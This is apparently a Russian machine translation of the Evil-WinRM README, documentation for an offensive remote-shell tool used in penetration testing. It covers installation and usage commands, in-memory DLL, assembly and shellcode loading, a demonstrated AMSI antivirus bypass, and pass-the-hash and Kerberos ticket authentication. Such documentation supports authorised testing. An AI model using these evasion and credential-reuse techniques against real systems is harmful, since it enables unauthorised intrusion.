Evil-WinRM: оболочка для пентеста
Этичный Хакер
Описание и назначение
WinRM (удаленное управление Windows) - это реализация Microsoft протокола WS-Management. Стандартный протокол на основе SOAP, который позволяет взаимодействовать аппаратным средствам и операционным системам разных производителей. Корпорация Майкрософт включила его в свои операционные системы, чтобы облегчить жизнь системным администраторам.
Эту программу можно использовать на любых серверах Microsoft Windows с включенной этой функцией (обычно на порту 5985), конечно, только если у вас есть учетные данные и разрешения на ее использование. Таким образом, мы можем сказать, что ее можно использовать на этапе взлома / пентестирования после эксплуатации. Цель этой программы - предоставить приятные и простые в использовании функции для взлома. Он также может использоваться системными администраторами в законных целях, но большинство его функций сосредоточено на взломе / тестировании.
Он основан в основном на библиотеке WinRM Ruby, которая изменила свой способ работы с версии 2.0. Теперь вместо использования протокола WinRM он использует PSRP (Powershell Remoting Protocol) для инициализации пулов runspace, а также создания и обработки конвейеров.
Характеристики
- Совместимость с клиентскими системами Linux и Windows
- Загрузка в память сценариев Powershell
- Загружайте в память DLL-файлы в обход некоторых AVS
- Загружайте в память сборки C # (C Sharp) в обход некоторых AVS
- Загружайте полезные нагрузки x64, созданные с помощью потрясающей технологии donut
- Динамический обход AMSI, чтобы избежать AV-сигнатур
- Поддержка передачи хэша
- Поддержка аутентификации Kerberos
- Поддержка SSL и сертификатов
- Загружайте и загружайте файлы с индикатором выполнения
- Список служб удаленных компьютеров без привилегий
- История команд
- Завершение команды WinRM
- Завершение работы с локальными файлами / каталогами
- Завершение удаленного пути (файлов / каталогов) (может быть отключено дополнительно)
- Изменение цвета в приглашениях и выходных сообщениях (может быть отключено дополнительно)
- Дополнительная функция ведения журнала
- Поддержка Docker (готовые образы доступны на Dockerhub)
- Захват ловушки, чтобы избежать случайного выхода из оболочки при нажатии Ctrl + C
Справка
Использование: evil-winrm -i IP -u ПОЛЬЗОВАТЕЛЯ [-s SCRIPTS_PATH] [-e EXES_PATH] [-P ПОРТ] [-p ПРОХОД] [-H ХЭШ] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r ОБЛАСТЬ] [--spn SPN_PREFIX] [-l]
-S, --ssl Включить ssl
-c, --pub-key PUBLIC_KEY_PATH Локальный путь к сертификату открытого ключа
-k, --приватный ключ PRIVATE_KEY_PATH Локальный путь к сертификату закрытого ключа
-r, --домен ДОМЕНА Kerberos auth, он также должен быть установлен в файле /etc/krb5.conf с использованием этого формат -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Локальный путь сценариев Powershell
--spn SPN_PREFIX префикс SPN для аутентификации Kerberos (HTTP по умолчанию)
-e, --executables EXES_PATH C# локальный путь к исполняемым файлам
-i, --ip IP IP IP удаленного хоста или имя хоста. Полное доменное имя для аутентификации Kerberos (обязательно)
-U, --url URL Удаленная конечная точка url (по умолчанию /wsman)
-u, --user Имя пользователя (требуется, если не используется kerberos)
-p, --password ПЕРЕДАТЬ пароль
-H, --hash ХЭШ NTHash
-P, --port ПОРТ удаленного хоста (по умолчанию 5985)
-V, --version Показать версию
-n, --no-цвета Отключают цвета
-N, --no-rpath-завершение Отключает завершение удаленного пути
-l, --log Регистрирует сеанс WinRM
-h, --help Выводит это справочное сообщение
Требования
Необходим Ruby 2.3 или выше. Также необходимы некоторые драгоценные камни ruby: winrm >=2.3.2, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2. В зависимости от вашего метода установки (доступно 4) их установку может потребоваться выполнить вручную.
Другим важным требованием, используемым только для аутентификации Kerberos, является установка пакета Kerberos, используемого для сетевой аутентификации. Для некоторых Linux, таких как Debian (Kali, Parrot и т.д.), Он называется .krb5-user Для BlackArch он называется krb5и, вероятно, может быть вызван по-другому для других дистрибутивов Linux.
Функция завершения удаленного пути будет работать только в том случае, если ваш ruby был скомпилирован с включением этого --with-readline-dirфлага. Это включено по умолчанию в ruby, включенном в некоторые дистрибутивы Linux, но не во всех. Проверьте раздел ниже для получения дополнительной информации.
Установка и быстрый запуск (4 способа)
Метод 1. Установка непосредственно как ruby gem (зависимости будут установлены автоматически в вашей системе)
- Шаг 1. Установите его (он автоматически установит зависимости).:
gem install evil-winrm - Шаг 2. Готово. Просто запустите его!
~$ evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
Метод 2. Git клонирует и устанавливает зависимости в вашей системе вручную
- Шаг 1. Устанавливайте зависимости вручную:
~$ sudo gem install winrm winrm-fs colorize stringio - Шаг 2. Клонируйте репозиторий:
git clone https://github.com/Hackplayers/evil-winrm.git - Шаг 3. Готово. Просто запустите его!
~$ cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
Метод 3. Использование bundler (зависимости не будут установлены в вашей системе, просто для использования evil-winrm)
- Шаг 1. Установить пакетник:
gem install bundler - Шаг 2. Клонируйте репозиторий:
git clone https://github.com/Hackplayers/evil-winrm.git - Шаг 3. Установка зависимостей с помощью bundler:
cd evil-winrm && bundle install --path vendor/bundle - Шаг 4. Запустите его с помощью bundler:
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
Метод 4. Использование Docker
- Шаг 1. Запустите контейнер docker на основе уже созданного образа:
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
Документация
Пароль с открытым текстом
Если вы не хотите вводить пароль в виде открытого текста, вы можете при желании не задавать -pпараметр, и пароль будет запрашиваться, предотвращая отображение.
Ipv6
Чтобы использовать IPv6, адрес должен быть добавлен в /etc/hosts. Просто поместите уже установленное имя хоста после -iаргумента вместо IP-адреса.
Основные команды
- загрузка: локальные файлы могут быть автоматически завершены с помощью клавиши tab.использование:
upload local_filenameилиupload local_filename destination_filename - Скачать:использование:
download remote_filenameилиdownload remote_filename destination_filename
Примечания о путях (загрузка / выгрузка): Относительные пути не разрешается использовать при загрузке / выгрузке. Используйте имена файлов в текущем каталоге или абсолютном пути. Если вы используете Evil-WinRM в среде docker, имейте в виду, что все локальные пути должны быть в/data, и будьте уверены, что вы сопоставили его как том, чтобы иметь доступ к загруженным файлам или загружать файлы из операционной системы вашего локального хоста.
- службы: перечислите все службы, показывающие, есть ли у вашей учетной записи права доступа к каждой из них. Для использования этой функции не требуется никаких разрешений администратора.
- меню: загрузите функции
Invoke-BinaryDll-LoaderиDonut-Loader, которые мы объясним ниже. Когда ps1 будет загружен, будут показаны все его функции.

Загрузка сценариев powershell
- Чтобы загрузить файл ps1, вам просто нужно ввести имя (разрешено автоматическое заполнение с помощью вкладки). Скрипты должны находиться в пути, заданном в
-sаргументе. Снова введите меню и посмотрите загруженные функции. Загрузка очень больших файлов может занять много времени.

Расширенные команды
- Invoke-Двоичный файл: позволяет .Сетевые сборки, которые должны выполняться в памяти. Имя может быть автоматически заполнено с помощью клавиши tab. Аргументы для exe-файла могут передаваться через запятую. Пример:
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'. Исполняемые файлы должны находиться по пути, указанному в-eаргументе.

- Dll-Loader: позволяет загружать библиотеки dll в память, это эквивалентно:
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll")) - Файл DLL может быть размещен через smb, http или локально. Как только будет загружен тип
menu, тогда можно автоматически завершить все функции.

- Donut-Loader: позволяет вводить полезные нагрузки x64, созданные с помощью awesome donut technique. Нет необходимости кодировать файл payload.bin, просто генерируйте и вводите!

Вы можете использовать этот конструктор пончиков для создания файла payload.bin, если вы не используете Windows. Этот скрипт использует модуль python, написанный Марчелло Сальвати (byt3bl33d3r). Ее можно установить с помощью pip: pip3 install donut-shellcode

- Байпас-4MSI: исправляет защиту AMSI.
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Kerberos
- Во-первых, вы должны синхронизировать дату с DC:
rdate -n <dc_ip> - Для генерации тикета есть много способов:
- Использование ticketer.py от удара
- Если вы получаете тикет kirbi с помощью Rubeus или Mimikatz, вам нужно преобразовать в ccache с помощью ticket_converter.py
- Добавьте тикет ccache. Есть 2 способа:
export KRB5CCNAME=/foo/var/ticket.ccachecp ticket.ccache /tmp/krb5cc_0- Добавьте realm в
/etc/krb5.conf(для linux). Использование этого формата важно:
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
- Проверьте билеты Kerberos с помощью
klist - Чтобы удалить тикет, используйте:
kdestroy - Для получения дополнительной информации о Kerberos ознакомьтесь с этим чит-листом
Завершение удаленного пути
Эта функция может быть недоступна в зависимости от используемого вами ruby. Она должна быть скомпилирована с поддержкой readline. В противном случае эта функция не будет работать (будет показано предупреждение).
Способ 1 (скомпилируйте необходимое расширение)
Используя этот метод, вы скомпилируете ruby с необходимой функцией readline, но будете использовать только библиотеку, не изменяя версию ruby по умолчанию в вашей системе. Из-за этого это наиболее рекомендуемый метод.
Предположим, что в вашей системе на базе Debian установлен ruby 2.7.3:
# Install needed package apt install libreadline-dev # Check your ruby version ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu] # Download ruby source code (2.7.3 in this case): wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz # Extract source code tar -xf ruby-2.7.3.tar.gz # Compile the readline extension: cd ruby-2.7.3/ext/readline ruby ./extconf.rb make # Patch current version of the ruby readline extension: sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
Метод 2 (установите ruby, чтобы использовать его только для evil-winrm с использованием rbenv)
Предположим, вам нужен ruby 2.7.1 в Linux на базе Debian, и вы используете zsh. Этот скрипт автоматизирует его. Вам нужно будет запустить ее из того же каталога, где находятся evil-winrm.rb и Gemfile (например, evil-winrm создал каталог после клонирования git):
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
Затем вы можете безопасно запускать evil-winrm с помощью недавно установленного ruby с необходимой поддержкой readline из любого места.
Метод 3 (скомпилируйте весь ruby)
Если вы хотите скомпилировать его самостоятельно, вы можете выполнить следующие действия. Давайте предположим, что вам нужен ruby 2.7.3:
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
В зависимости от вашей системы он будет установлен по адресу /opt/rubies/ruby-2.7.3или, возможно , по адресу ~/.rubies/ruby-2.7.3.
Теперь просто нужно установить зависимости evil-winrm для этой недавно установленной версии ruby. Самый простой способ - это запустить команду /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. Используемая команда gem должна принадлежать новой установке ruby.
После этого вы можете безопасно запустить свой новый установленный ruby, чтобы использовать его на evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
Рекомендуется использовать этот недавно установленный ruby только для запуска evil-winrm. Если вы настроили его в качестве ruby по умолчанию для своей системы, имейте в виду, что в нем не установлены драгоценные камни зависимостей. Некоторые программы на основе ruby, такие как Metasploit или другие, не смогли правильно запуститься из-за проблем с зависимостями.
Ведение журнала
Эта функция создаст файлы в вашем каталоге $HOME, сохраняя команды и выходные данные сеансов WinRM
Скачать инструмент: https://github.com/Hackplayers/evil-winrm